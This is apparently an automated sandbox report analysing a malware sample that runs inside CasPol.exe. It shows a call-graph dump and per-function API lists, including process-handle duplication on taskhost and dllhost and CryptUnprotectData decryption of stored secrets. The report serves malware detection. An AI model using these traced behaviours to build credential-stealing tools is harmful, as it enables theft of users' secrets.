44df20 ??3@YAXPAX 39673->39676 39674->39673 39677 44df37 39675->39677 39678 44df30 ??3@YAXPAX 39675->39678 39676->39675 39678->39677 39679 4287c1 39680 4287d2 39679->39680 39681 429ac1 39679->39681 39682 428818 39680->39682 39683 42881f 39680->39683 39697 425711 39680->39697 39693 425ad6 39681->39693 39749 415c56 11 API calls 39681->39749 39716 42013a 39682->39716 39744 420244 97 API calls 39683->39744 39688 4260dd 39743 424251 120 API calls 39688->39743 39690 4259da 39742 416760 11 API calls 39690->39742 39696 429a4d 39698 429a66 39696->39698 39703 429a9b 39696->39703 39697->39681 39697->39690 39697->39696 39699 422aeb memset memcpy memcpy 39697->39699 39702 4260a1 39697->39702 39712 4259c2 39697->39712 39715 425a38 39697->39715 39732 4227f0 memset memcpy 39697->39732 39733 422b84 15 API calls 39697->39733 39734 422b5d memset memcpy memcpy 39697->39734 39735 422640 13 API calls 39697->39735 39737 4241fc 11 API calls 39697->39737 39738 42413a 90 API calls 39697->39738 39745 415c56 11 API calls 39698->39745 39699->39697 39741 415c56 11 API calls 39702->39741 39704 429a96 39703->39704 39747 416760 11 API calls 39703->39747 39748 424251 120 API calls 39704->39748 39706 429a7a 39746 416760 11 API calls 39706->39746 39712->39693 39736 415c56 11 API calls 39712->39736 39715->39712 39739 422640 13 API calls 39715->39739 39740 4226e0 12 API calls 39715->39740 39717 42014c 39716->39717 39720 420151 39716->39720 39759 41e466 97 API calls 39717->39759 39719 420162 39719->39697 39720->39719 39721 4201b3 39720->39721 39722 420229 39720->39722 39723 4201b8 39721->39723 39724 4201dc 39721->39724 39722->39719 39725 41fd5e 86 API calls 39722->39725 39750 41fbdb 39723->39750 39724->39719 39728 4201ff 39724->39728 39756 41fc4c 39724->39756 39725->39719 39728->39719 39731 42013a 97 API calls 39728->39731 39731->39719 39732->39697 39733->39697 39734->39697 39735->39697 39736->39690 39737->39697 39738->39697 39739->39715 39740->39715 39741->39690 39742->39688 39743->39693 39744->39697 39745->39706 39746->39704 39747->39704 39748->39681 39749->39690 39751 41fbf1 39750->39751 39752 41fbf8 39750->39752 39755 41fc39 39751->39755 39774 4446ce 11 API calls 39751->39774 39764 41ee26 39752->39764 39755->39719 39760 41fd5e 39755->39760 39757 41ee6b 86 API calls 39756->39757 39758 41fc5d 39757->39758 39758->39724 39759->39720 39763 41fd65 39760->39763 39761 41fdab 39761->39719 39762 41fbdb 86 API calls 39762->39763 39763->39761 39763->39762 39765 41ee41 39764->39765 39766 41ee32 39764->39766 39775 41edad 39765->39775 39778 4446ce 11 API calls 39766->39778 39770 41ee3c 39770->39751 39772 41ee58 39772->39770 39780 41ee6b 39772->39780 39774->39755 39784 41be52 39775->39784 39778->39770 39779 41eb85 11 API calls 39779->39772 39781 41ee70 39780->39781 39782 41ee78 39780->39782 39822 41bf99 86 API calls 39781->39822 39782->39770 39785 41be6f 39784->39785 39786 41be5f 39784->39786 39790 41be8c 39785->39790 39816 418c63 memset memset 39785->39816 39815 4446ce 11 API calls 39786->39815 39788 41be69 39788->39770 39788->39779 39790->39788 39791 41bf3a 39790->39791 39793 41bed1 39790->39793 39803 41bee7 39790->39803 39819 4446ce 11 API calls 39791->39819 39795 41bef0 39793->39795 39796 41bee2 39793->39796 39798 41bf01 39795->39798 39795->39803 39805 41ac13 39796->39805 39797 41bf24 memset 39797->39788 39798->39797 39800 41bf14 39798->39800 39817 418a6d memset memcpy memset 39798->39817 39818 41a223 memset memcpy memset 39800->39818 39803->39788 39820 41a453 86 API calls 39803->39820 39804 41bf20 39804->39797 39806 41ac3f memset 39805->39806 39807 41ac52 39805->39807 39812 41acd9 39806->39812 39809 41ac6a 39807->39809 39821 41dc14 19 API calls 39807->39821 39810 41aca1 39809->39810 39811 41519d 6 API calls 39809->39811 39810->39812 39813 41acc0 memset 39810->39813 39814 41accd memcpy 39810->39814 39811->39810 39812->39803 39813->39812 39814->39812 39815->39788 39816->39790 39817->39800 39818->39804 39819->39803 39821->39809 39822->39782 39823 417bc5 39824 417c61 39823->39824 39825 417bda 39823->39825 39825->39824 39826 417bf6 UnmapViewOfFile CloseHandle 39825->39826 39828 417c2c 39825->39828 39830 4175b7 39825->39830 39826->39825 39826->39826 39828->39825 39835 41851e 20 API calls 39828->39835 39831 4175d6 CloseHandle 39830->39831 39832 4175c8 39831->39832 39833 4175df 39831->39833 39832->39833 39834 4175ce Sleep 39832->39834 39833->39825 39834->39831 39835->39828 39836 4148b6 FindResourceW 39837 4148cf SizeofResource 39836->39837 39840 4148f9 39836->39840 39838 4148e0 LoadResource 39837->39838 39837->39840 39839 4148ee LockResource 39838->39839 39838->39840 39839->39840 39841 441b3f 39851 43a9f6 39841->39851 39843 441b61 40024 4386af memset 39843->40024 39845 44189a 39846 442bd4 39845->39846 39847 4418e2 39845->39847 39848 4418ea 39846->39848 40026 441409 memset 39846->40026 39847->39848 40025 4414a9 12 API calls 39847->40025 39852 43aa20 39851->39852 39853 43aadf 39851->39853 39852->39853 39854 43aa34 memset 39852->39854 39853->39843 39855 43aa56 39854->39855 39856 43aa4d 39854->39856 40027 43a6e7 39855->40027 40035 42c02e memset 39856->40035 39861 43aad3 40037 4169a7 11 API calls 39861->40037 39862 43aaae 39862->39853 39862->39861 39877 43aae5 39862->39877 39863 43ac18 39866 43ac47 39863->39866 40039 42bbd5 memcpy memcpy memcpy memset memcpy 39863->40039 39867 43aca8 39866->39867 40040 438eed 16 API calls 39866->40040 39870 43acd5 39867->39870 40042 4233ae 11 API calls 39867->40042 40043 423426 11 API calls 39870->40043 39871 43ac87 40041 4233c5 16 API calls 39871->40041 39875 43ace1 40044 439811 163 API calls 39875->40044 39876 43a9f6 161 API calls 39876->39877 39877->39853 39877->39863 39877->39876 40038 439bbb 22 API calls 39877->40038 39879 43acfd 39885 43ad2c 39879->39885 40045 438eed 16 API calls 39879->40045 39881 43ad19 40046 4233c5 16 API calls 39881->40046 39882 43ad58 40047 44081d 163 API calls 39882->40047 39885->39882 39888 43add9 39885->39888 39887 43ae3a memset 39889 43ae73 39887->39889 39888->39888 40051 423426 11 API calls 39888->40051 40052 42e1c0 147 API calls 39889->40052 39890 43adab 40049 438c4e 163 API calls 39890->40049 39893 43ad6c 39893->39853 39893->39890 40048 42370b memset memcpy memset 39893->40048 39894 43adcc 40050 440f84 12 API calls 39894->40050 39895 43ae96 40053 42e1c0 147 API calls 39895->40053 39899 43aea8 39900 43aec1 39899->39900 40054 42e199 147 API calls 39899->40054 39902 43af00 39900->39902 40055 42e1c0 147 API calls 39900->40055 39902->39853 39905 43af1a 39902->39905 39906 43b3d9 39902->39906 40056 438eed 16 API calls 39905->40056 39911 43b3f6 39906->39911 39915 43b4c8 39906->39915 39908 43b60f 39908->39853 40115 4393a5 17 API calls 39908->40115 39909 43af2f 40057 4233c5 16 API calls 39909->40057 40097 432878 12 API calls 39911->40097 39913 43af51 40058 423426 11 API calls 39913->40058 39921 43b4f2 39915->39921 40103 42bbd5 memcpy memcpy memcpy memset memcpy 39915->40103 39917 43af7d 40059 423426 11 API calls 39917->40059 40104 43a76c 21 API calls 39921->40104 39922 43b529 40105 44081d 163 API calls 39922->40105 39923 43b462 40099 423330 11 API calls 39923->40099 39924 43af94 40060 423330 11 API calls 39924->40060 39928 43b47e 39932 43b497 39928->39932 40100 42374a memcpy memset memcpy memcpy memcpy 39928->40100 39929 43b544 39933 43b55c 39929->39933 40106 42c02e memset 39929->40106 39930 43b428 39930->39923 40098 432b60 16 API calls 39930->40098 39931 43afca 40061 423330 11 API calls 39931->40061 40101 4233ae 11 API calls 39932->40101 40107 43a87a 163 API calls 39933->40107 39939 43afdb 40062 4233ae 11 API calls 39939->40062 39941 43b56c 39944 43b58a 39941->39944 40108 423330 11 API calls 39941->40108 39942 43b4b1 40102 423399 11 API calls 39942->40102 39943 43afee 40063 44081d 163 API calls 39943->40063 40109 440f84 12 API calls 39944->40109 39949 43b4c1 40111 42db80 163 API calls 39949->40111 39951 43b592 40110 43a82f 16 API calls 39951->40110 39954 43b5b4 40112 438c4e 163 API calls 39954->40112 39956 43b5cf 40113 42c02e memset 39956->40113 39958 43b1ef 40074 4233c5 16 API calls 39958->40074 39959 43b005 39959->39853 39962 43b01f 39959->39962 40064 42d836 163 API calls 39959->40064 39962->39958 40072 423330 11 API calls 39962->40072 40073 42d71d 163 API calls 39962->40073 39963 43b212 40075 423330 11 API calls 39963->40075 39964 43b087 40065 4233ae 11 API calls 39964->40065 39966 43add4 39966->39908 40114 438f86 16 API calls 39966->40114 39970 43b22a 40076 42ccb5 11 API calls 39970->40076 39972 43b10f 40068 423330 11 API calls 39972->40068 39973 43b23f 40077 4233ae 11 API calls 39973->40077 39975 43b257 40078 4233ae 11 API calls 39975->40078 39979 43b129 40069 4233ae 11 API calls 39979->40069 39980 43b26e 40079 4233ae 11 API calls 39980->40079 39983 43b09a 39983->39972 40066 42cc15 19 API calls 39983->40066 40067 4233ae 11 API calls 39983->40067 39984 43b282 40080 43a87a 163 API calls 39984->40080 39986 43b13c 40070 440f84 12 API calls 39986->40070 39988 43b29d 40081 423330 11 API calls 39988->40081 39991 43b15f 40071 4233ae 11 API calls 39991->40071 39992 43b2af 39994 43b2b8 39992->39994 39995 43b2ce 39992->39995 40082 4233ae 11 API calls 39994->40082 40083 440f84 12 API calls 39995->40083 39998 43b2da 40084 42370b memset memcpy memset 39998->40084 39999 43b2c9 40085 4233ae 11 API calls 39999->40085 40002 43b2f9 40086 423330 11 API calls 40002->40086 40004 43b30b 40087 423330 11 API calls 40004->40087 40006 43b325 40088 423399 11 API calls 40006->40088 40008 43b332 40089 4233ae 11 API calls 40008->40089 40010 43b354 40090 423399 11 API calls 40010->40090 40012 43b364 40091 43a82f 16 API calls 40012->40091 40014 43b370 40092 42db80 163 API calls 40014->40092 40016 43b380 40093 438c4e 163 API calls 40016->40093 40018 43b39e 40094 423399 11 API calls 40018->40094 40020 43b3ae 40095 43a76c 21 API calls 40020->40095 40022 43b3c3 40096 423399 11 API calls 40022->40096 40024->39845 40025->39848 40026->39846 40028 43a6f5 40027->40028 40029 43a765 40027->40029 40028->40029 40116 42a115 40028->40116 40029->39853 40036 4397fd memset 40029->40036 40033 43a73d 40033->40029 40034 42a115 147 API calls 40033->40034 40034->40029 40035->39855 40036->39862 40037->39853 40038->39877 40039->39866 40040->39871 40041->39867 40042->39870 40043->39875 40044->39879 40045->39881 40046->39885 40047->39893 40048->39890 40049->39894 40050->39966 40051->39887 40052->39895 40053->39899 40054->39900 40055->39900 40056->39909 40057->39913 40058->39917 40059->39924 40060->39931 40061->39939 40062->39943 40063->39959 40064->39964 40065->39983 40066->39983 40067->39983 40068->39979 40069->39986 40070->39991 40071->39962 40072->39962 40073->39962 40074->39963 40075->39970 40076->39973 40077->39975 40078->39980 40079->39984 40080->39988 40081->39992 40082->39999 40083->39998 40084->39999 40085->40002 40086->40004 40087->40006 40088->40008 40089->40010 40090->40012 40091->40014 40092->40016 40093->40018 40094->40020 40095->40022 40096->39966 40097->39930 40098->39923 40099->39928 40100->39932 40101->39942 40102->39949 40103->39921 40104->39922 40105->39929 40106->39933 40107->39941 40108->39944 40109->39951 40110->39949 40111->39954 40112->39956 40113->39966 40114->39908 40115->39853 40117 42a175 40116->40117 40119 42a122 40116->40119 40117->40029 40122 42b13b 147 API calls 40117->40122 40119->40117 40120 42a115 147 API calls 40119->40120 40123 43a174 40119->40123 40147 42a0a8 147 API calls 40119->40147 40120->40119 40122->40033 40137 43a196 40123->40137 40138 43a19e 40123->40138 40124 43a306 40124->40137 40161 4388c4 14 API calls 40124->40161 40127 42a115 147 API calls 40127->40138 40128 415a91 memset 40128->40138 40129 43a642 40129->40137 40166 4169a7 11 API calls 40129->40166 40133 43a635 40165 42c02e memset 40133->40165 40137->40119 40138->40124 40138->40127 40138->40128 40138->40137 40148 42ff8c 40138->40148 40156 4165ff 11 API calls 40138->40156 40157 439504 13 API calls 40138->40157 40158 4312d0 147 API calls 40138->40158 40159 42be4c memcpy memcpy memcpy memset memcpy 40138->40159 40160 43a121 11 API calls 40138->40160 40140 4169a7 11 API calls 40141 43a325 40140->40141 40141->40129 40141->40133 40141->40137 40141->40140 40142 42b5b5 memset memcpy 40141->40142 40143 42bf4c 14 API calls 40141->40143 40162 42b63e 14 API calls 40141->40162 40163 4165ff 11 API calls 40141->40163 40164 42bfcf memcpy 40141->40164 40142->40141 40143->40141 40147->40119 40167 43817e 40148->40167 40150 42ff99 40151 42ffe3 40150->40151 40152 42ffd0 40150->40152 40155 42ff9d 40150->40155 40172 4169a7 11 API calls 40151->40172 40171 4169a7 11 API calls 40152->40171 40155->40138 40156->40138 40157->40138 40158->40138 40159->40138 40160->40138 40161->40141 40162->40141 40163->40141 40164->40141 40165->40129 40166->40137 40168 438187 40167->40168 40170 438192 40167->40170 40173 4380f6 40168->40173 40170->40150 40171->40155 40172->40155 40175 43811f 40173->40175 40174 438164 40174->40170 40175->40174 40178 437e5e 40175->40178 40201 4300e8 memset memset memcpy 40175->40201 40202 437d3c 40178->40202 40180 437eb3 40180->40175 40181 437ea9 40181->40180 40186 437f22 40181->40186 40217 41f432 40181->40217 40184 437f06 40228 415c56 11 API calls 40184->40228 40188 432d4e 3 API calls 40186->40188 40191 437f7f 40186->40191 40187 437f95 40229 415c56 11 API calls 40187->40229 40188->40191 40189 43802b 40230 4165ff 11 API calls 40189->40230 40191->40187 40191->40189 40192 437fa3 40192->40180 40234 41f638 104 API calls 40192->40234 40194 438054 40231 437371 138 API calls 40194->40231 40197 43806b 40198 438094 40197->40198 40232 42f50e 138 API calls 40197->40232 40198->40192 40233 4300e8 memset memset memcpy 40198->40233 40201->40175 40203 437d69 40202->40203 40206 437d80 40202->40206 40235 437ccb 11 API calls 40203->40235 40205 437d76 40205->40181 40206->40205 40207 437da3 40206->40207 40209 437d90 40206->40209 40210 438460 134 API calls 40207->40210 40209->40205 40239 437ccb 11 API calls 40209->40239 40213 437dcb 40210->40213 40211 437de8 40238 424f26 123 API calls 40211->40238 40213->40211 40236 444283 13 API calls 40213->40236 40215 437dfc 40237 437ccb 11 API calls 40215->40237 40223 41f44f 40217->40223 40227 41f54d 40217->40227 40218 41f466 40218->40184 40218->40186 40223->40218 40225 41f50b 40223->40225 40240 41f1a5 40223->40240 40265 41c06f memcmp 40223->40265 40266 41f3b1 90 API calls 40223->40266 40267 41f398 86 API calls 40223->40267 40225->40218 40225->40227 40268 41c295 86 API calls 40225->40268 40227->40218 40269 41c635 memset memset 40227->40269 40228->40180 40229->40192 40230->40194 40231->40197 40232->40198 40233->40192 40234->40180 40235->40205 40236->40215 40237->40211 40238->40205 40239->40205 40241 41bc3b 101 API calls 40240->40241 40242 41f1b4 40241->40242 40243 41edad 86 API calls 40242->40243 40250 41f282 40242->40250 40244 41f1cb 40243->40244 40245 41f1f5 memcmp 40244->40245 40246 41f20e 40244->40246 40244->40250 40245->40246 40247 41f21b memcmp 40246->40247 40246->40250 40248 41f326 40247->40248 40251 41f23d 40247->40251 40249 41ee6b 86 API calls 40248->40249 40248->40250 40249->40250 40250->40223 40251->40248 40252 41f28e memcmp 40251->40252 40254 41c8df 56 API calls 40251->40254 40252->40248 40253 41f2a9 40252->40253 40253->40248 40256 41f308 40253->40256 40257 41f2d8 40253->40257 40255 41f269 40254->40255 40255->40248 40258 41f287 40255->40258 40259 41f27a 40255->40259 40256->40248 40263 4446ce 11 API calls 40256->40263 40260 41ee6b 86 API calls 40257->40260 40258->40252 40261 41ee6b 86 API calls 40259->40261 40262 41f2e0 40260->40262 40261->40250 40264 41b1ca memset 40262->40264 40263->40248 40264->40250 40265->40223 40266->40223 40267->40223 40268->40227 40269->40218 40270 41493c EnumResourceNamesW 40271 44660a 40274 4465e4 40271->40274 40273 446613 40275 4465f3 __dllonexit 40274->40275 40276 4465ed _onexit 40274->40276 40275->40273 40276->40275

                                                                                                                                                                  Executed Functions

                                                                                                                                                                  Function 0040DD85 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 212filenativeCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 338 40dd85-40ddeb memset call 409bca CreateFileW 341 40ddf1-40de09 call 40afcf call 41352f 338->341 346 40de0b-40de1a NtQuerySystemInformation 341->346 347 40de1c 341->347 348 40de20-40de27 346->348 347->348 349 40de29-40de39 348->349 350 40de3b-40de52 CloseHandle GetCurrentProcessId 348->350 349->341 349->350 351 40de54-40de58 350->351 352 40de7a-40de8e call 413cfa call 413d4c 350->352 351->352 353 40de5a 351->353 362 40de94-40debb call 40e6ad call 409c52 _wcsicmp 352->362 363 40e00c-40e01b call 413d29 352->363 355 40de5d-40de63 353->355 357 40de74-40de78 355->357 358 40de65-40de6c 355->358 357->352 357->355 358->357 360 40de6e-40de71 358->360 360->357 370 40dee7-40def7 OpenProcess 362->370 371 40debd-40dece _wcsicmp 362->371 373 40dff8-40dffb 370->373 374 40defd-40df02 370->374 371->370 372 40ded0-40dee1 _wcsicmp 371->372 372->370 375 40dffd-40e006 372->375 373->363 373->375 376 40df08 374->376 377 40dfef-40dff2 CloseHandle 374->377 375->362 375->363 378 40df0b-40df10 376->378 377->373 379 40df16-40df1d 378->379 380 40dfbd-40dfcb 378->380 379->380 382 40df23-40df4a GetCurrentProcess DuplicateHandle 379->382 380->378 381 40dfd1-40dfd3 380->381 381->377 382->380 383 40df4c-40df76 memset call 41352f 382->383 386 40df78-40df8a 383->386 387 40df8f-40dfbb CloseHandle call 409c52 * 2 _wcsicmp 383->387 386->387 387->380 392 40dfd5-40dfed 387->392 392->377
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 0040DDAD
                                                                                                                                                                    • Part of subcall function 00409BCA: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,0040DDBE,?,?,00000000,00000208,000000FF,00000000,00000104), ref: 00409BD5
                                                                                                                                                                  • CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 0040DDD4
                                                                                                                                                                    • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                                                                                                                                                                    • Part of subcall function 0041352F: GetModuleHandleW.KERNEL32(ntdll.dll,-00000108,0040DE02,?,000000FF,00000000,00000104), ref: 00413542
                                                                                                                                                                    • Part of subcall function 0041352F: GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation,?,000000FF,00000000,00000104), ref: 00413559
                                                                                                                                                                    • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtLoadDriver,?,000000FF,00000000,00000104), ref: 0041356B
                                                                                                                                                                    • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtUnloadDriver,?,000000FF,00000000,00000104), ref: 0041357D
                                                                                                                                                                    • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject,?,000000FF,00000000,00000104), ref: 0041358F
                                                                                                                                                                    • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject,?,000000FF,00000000,00000104), ref: 004135A1
                                                                                                                                                                    • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtQueryObject,?,000000FF,00000000,00000104), ref: 004135B3
                                                                                                                                                                    • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtSuspendProcess,?,000000FF,00000000,00000104), ref: 004135C5
                                                                                                                                                                    • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtResumeProcess,?,000000FF,00000000,00000104), ref: 004135D7
                                                                                                                                                                  • NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 0040DE15
                                                                                                                                                                  • CloseHandle.KERNELBASE(C0000004), ref: 0040DE3E
                                                                                                                                                                  • GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 0040DE49
                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 0040DEB2
                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 0040DEC5
                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 0040DED8
                                                                                                                                                                  • OpenProcess.KERNEL32(00000040,00000000,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DEEC
                                                                                                                                                                  • GetCurrentProcess.KERNEL32(C0000004,80000000,00000000,00000002,?,000000FF,00000000,00000104), ref: 0040DF32
                                                                                                                                                                  • DuplicateHandle.KERNEL32(00000104,?,00000000,?,000000FF,00000000,00000104), ref: 0040DF41
                                                                                                                                                                  • memset.MSVCRT ref: 0040DF5F
                                                                                                                                                                  • CloseHandle.KERNEL32(C0000004), ref: 0040DF92
                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 0040DFB2
                                                                                                                                                                  • CloseHandle.KERNEL32(00000104), ref: 0040DFF2
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressProc$Handle$_wcsicmp$CloseProcess$CurrentFileModulememset$??2@CreateDuplicateInformationNameOpenQuerySystem
                                                                                                                                                                  • String ID: dllhost.exe$taskhost.exe$taskhostex.exe
                                                                                                                                                                  • API String ID: 708747863-3398334509
                                                                                                                                                                  • Opcode ID: c0cdbd66bb0eb3cac082432fda8d0328b9155cc6ebf5e989b7bcc70ed293d7d6
                                                                                                                                                                  • Instruction ID: 75e999e9478e2cd8c236028a88c267773407d5e0538ee9298daa3020847ac7a6
                                                                                                                                                                  • Opcode Fuzzy Hash: c0cdbd66bb0eb3cac082432fda8d0328b9155cc6ebf5e989b7bcc70ed293d7d6
                                                                                                                                                                  • Instruction Fuzzy Hash: 57818F71D00209AFEB10EF95CC81AAEBBB5FF04345F20407AF915B6291DB399E95CB58
                                                                                                                                                                  Function 00418758 Relevance: 4.6, APIs: 3, Instructions: 79COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00418680: GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186AC
                                                                                                                                                                    • Part of subcall function 00418680: malloc.MSVCRT ref: 004186B7
                                                                                                                                                                    • Part of subcall function 00418680: free.MSVCRT ref: 004186C7
                                                                                                                                                                    • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                                                                                                  • GetDiskFreeSpaceW.KERNELBASE(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 004187D2
                                                                                                                                                                  • GetDiskFreeSpaceA.KERNEL32(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 004187FA
                                                                                                                                                                  • free.MSVCRT ref: 00418803
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: DiskFreeSpacefree$FullNamePathVersionmalloc
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1355100292-0
                                                                                                                                                                  • Opcode ID: 7494654f5416982ac8b8eb6095e1b911d56786f256e13b4958c27deb7a97d588
                                                                                                                                                                  • Instruction ID: 9f5aa8738ec5ca8fa6c7af21032fcab0d24b7c3e7281463e4f88d86f77cdc7da
                                                                                                                                                                  • Opcode Fuzzy Hash: 7494654f5416982ac8b8eb6095e1b911d56786f256e13b4958c27deb7a97d588
                                                                                                                                                                  • Instruction Fuzzy Hash: 2A218776904118AEEB11EBA4CC849EF77BCEF05704F2404AFE551D7181EB784EC58769
                                                                                                                                                                  Function 00404423 Relevance: 4.6, APIs: 3, Instructions: 51libraryencryptionloaderCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CryptUnprotectData.CRYPT32(?,00000000,?,00000000,00000000,?,?,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404498
                                                                                                                                                                    • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                                                    • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104,?,?,?), ref: 0040A841
                                                                                                                                                                    • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                                                    • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                                                                                                  • GetProcAddress.KERNEL32(?,00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404453
                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Library$Load$AddressCryptDataDirectoryFreeProcSystemUnprotectmemsetwcscatwcscpy
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 767404330-0
                                                                                                                                                                  • Opcode ID: 1380316316acfdf23ecbbce53536a9302c8f7369fa9bad9ede14c1568be36e2a
                                                                                                                                                                  • Instruction ID: e973b1bd6c29085855c002f2d91bff7161adaf38cfdf5e3d51a6561f1cc66020
                                                                                                                                                                  • Opcode Fuzzy Hash: 1380316316acfdf23ecbbce53536a9302c8f7369fa9bad9ede14c1568be36e2a
                                                                                                                                                                  • Instruction Fuzzy Hash: D90192B1100211AAD6319FA6CC04D1BFAE9EFC0750B20883FF1D9E25A0D7B49881DB69
                                                                                                                                                                  Function 0040AE51 Relevance: 3.0, APIs: 2, Instructions: 39fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • FindFirstFileW.KERNELBASE(?,?,?,00000000,00445F58,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AE67
                                                                                                                                                                  • FindNextFileW.KERNELBASE(?,?,?,00000000,00445F58,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AE83
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FileFind$FirstNext
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1690352074-0
                                                                                                                                                                  • Opcode ID: 561b3503b5d493cb0f99635c99673ff26dffc0bbfdea02a94e907e6f5a7ee62d
                                                                                                                                                                  • Instruction ID: bc213c2af839868520f9a45b85e911a0cf9bcc257b6b56acf9ba21b23a9e6198
                                                                                                                                                                  • Opcode Fuzzy Hash: 561b3503b5d493cb0f99635c99673ff26dffc0bbfdea02a94e907e6f5a7ee62d
                                                                                                                                                                  • Instruction Fuzzy Hash: 34F0C877040B005BD761C774D8489C733D89F84320B20063EF56AD32C0EB3899098755
                                                                                                                                                                  Function 00418981 Relevance: 3.0, APIs: 2, Instructions: 28COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 0041898C
                                                                                                                                                                  • GetSystemInfo.KERNELBASE(004725C0,?,00000000,004439D6,?,00445FAE,?,?,?,?,?,?), ref: 00418995
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: InfoSystemmemset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3558857096-0
                                                                                                                                                                  • Opcode ID: d0407614e71e7ae135e22cefa727abc0102cb379ef2ade91b8070469c4ed11d1
                                                                                                                                                                  • Instruction ID: bf8bfd662ffca2911032058da6995c9eeb4a28626cb6ee34ade21af96d3a2c90
                                                                                                                                                                  • Opcode Fuzzy Hash: d0407614e71e7ae135e22cefa727abc0102cb379ef2ade91b8070469c4ed11d1
                                                                                                                                                                  • Instruction Fuzzy Hash: C0E06531A0163097F22077766C067DF25949F41395F04407BB9049A186EBAC4D8546DE
                                                                                                                                                                  Function 0044553B Relevance: 44.5, APIs: 23, Strings: 2, Instructions: 758COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
